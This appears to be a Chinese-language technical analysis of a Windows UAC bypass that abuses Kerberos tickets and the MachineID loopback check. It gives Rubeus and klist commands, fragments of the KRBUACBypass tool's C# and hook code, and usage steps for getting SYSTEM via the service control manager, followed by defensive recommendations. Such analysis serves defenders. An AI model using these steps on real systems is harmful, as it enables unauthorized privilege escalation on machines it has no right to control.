Revisiting a UAC Bypass By Abusing Kerberos Tickets
字数 1377 2025-08-06 08:35:09
滥用Kerberos票据绕过UAC的技术分析与实现
背景与原理
本技术基于James Forshaw在BlackHat USA 2022上提出的"Taking Kerberos To The Next Level"议题,通过滥用Kerberos票据实现UAC(用户账户控制)绕过。
UAC与Kerberos交互机制
- UAC限制:本地管理员组成员(除Administrator外)在远程计算机上无法获得提升权限
- 域管理员例外:域管理员组成员在远程计算机上使用完整管理员令牌,UAC不生效
- LSASS过滤机制:默认过滤网络身份验证令牌以移除管理员权限,但域管理员组除外
Kerberos环回检测机制
Kerberos协议通过"machine nonce"机制检测客户端和服务是否位于同一台机器:
-
LSAP_TOKEN_INFO_INTEGRITY结构:
typedef struct _LSAP_TOKEN_INFO_INTEGRITY { unsigned long Flags; unsigned long TokenIL; unsigned char MachineID[32]; // 关键字段 } LSAP_TOKEN_INFO_INTEGRITY, *PLSAP_TOKEN_INFO_INTEGRITY; -
检测流程:
- 客户端请求票据时,Kerberos栈生成随机MachineID并存储在LSA中
- 该MachineID会被放入票据中
- 目标服务检查票据中的MachineID是否与本地LSASS中的LsapGlobalMachineID匹配
- 匹配则视为本地认证,触发令牌过滤
-
关键函数:
LsaISetSupplementalTokenInfo执行三个检查:- MachineID是否匹配(设置bLoopback标志)
- 是否启用网络令牌过滤(检查LimitedToken标志)
- 账户SID检查(本地账户/域账户/域控制器)
绕过技术实现
方法一:重启服务器
-
获取本地HOST服务票据:
klist get HOST/$env:COMPUTERNAME -
使用Rubeus导出票据:
Rubeus.exe dump /server:$env:COMPUTERNAME /nowrap -
重启服务器后重新导入票据:
Rubeus.exe ptt /ticket:<BASE64 TICKET> -
原理:重启后LsapGlobalMachineID重新生成,票据中的旧ID不再匹配,绕过过滤
方法二:Tgtdeleg技巧
-
获取TGT:
- 使用
AcquireCredentialsHandle获取Kerberos凭据句柄 - 使用
ISC_REQ_DELEGATE标志和SPN为HOST/DC.domain.com调用InitializeSecurityContext - 从GSS-API输出的KRB_AP-REQ中提取KRB_CRED
- 使用
-
生成服务票据:
- 使用TGT请求本地计算机的服务票据
- 添加伪造的KERB-AD-RESTRICTION-ENTRY和虚假MachineID
- 将票据提交到缓存
-
访问SCM:
- 通过Kerberos认证访问服务控制管理器
- 创建系统服务获取SYSTEM权限
完整实现代码分析
核心类结构
private static void Run(string[] args, Options options)
{
string method = args[0];
string command = options.Command;
// 获取域控制器和SPN
string domainController = Networking.GetDCName();
string service = $"HOST/{Dns.GetHostName()}";
if (method == "asktgs") {
// 执行tgtdeleg技巧
byte[] blah = LSA.RequestFakeDelegTicket();
KRB_CRED kirbi = new KRB_CRED(blah);
Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);
}
if (method == "krbscm") {
// 枚举票据并执行SCM命令
List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(...);
KrbSCM.Execute(command);
}
}
ASKTGS模块实现
-
伪造MachineID:
if (KRBUACBypass.Program.BogusMachineID) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 创建伪造的AD-IF-RELEVANT容器 ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); // 添加到容器 ifrelevant.ADData.Add(restrictions); // ASN.1编码 AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); // 加密授权数据 byte[] enc_authorization_data = Crypto.KerberosEncrypt(...); req.req_body.enc_authorization_data = new EncryptedData(...); } -
KRB_CRED结构:
KRB-CRED ::= [APPLICATION 22] SEQUENCE { pvno [0] INTEGER (5), msg-type [1] INTEGER (22), tickets [2] SEQUENCE OF Ticket, enc-part [3] EncryptedData }
KRBCSM模块实现
通过HOOK安全API强制使用Kerberos认证:
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(...)
{
if (_wcsicmp(pszPackage, L"Negotiate") == 0) {
pszPackage = kerberos_package; // 改为Kerberos认证
}
return AcquireCredentialsHandleW(...);
}
实际利用步骤
-
申请HOST服务票据:
KRBUACBypass.exe asktgs -
创建系统服务获取SYSTEM权限:
KRBUACBypass.exe krbscm -
(可选)直接运行系统进程:
KRBUACBypass.exe system <PID>
防御建议
- 限制本地管理员组成员权限
- 监控异常Kerberos票据请求
- 禁用不必要的服务票据
- 定期轮换KRBTGT账户密码
- 启用高级安全审计策略监控特权操作
总结
该技术通过滥用Kerberos票据中的MachineID验证机制,结合tgtdeleg技巧获取伪造票据,最终绕过UAC限制获取系统权限。理解这一技术有助于更好地防御类似攻击,强化Windows环境安全。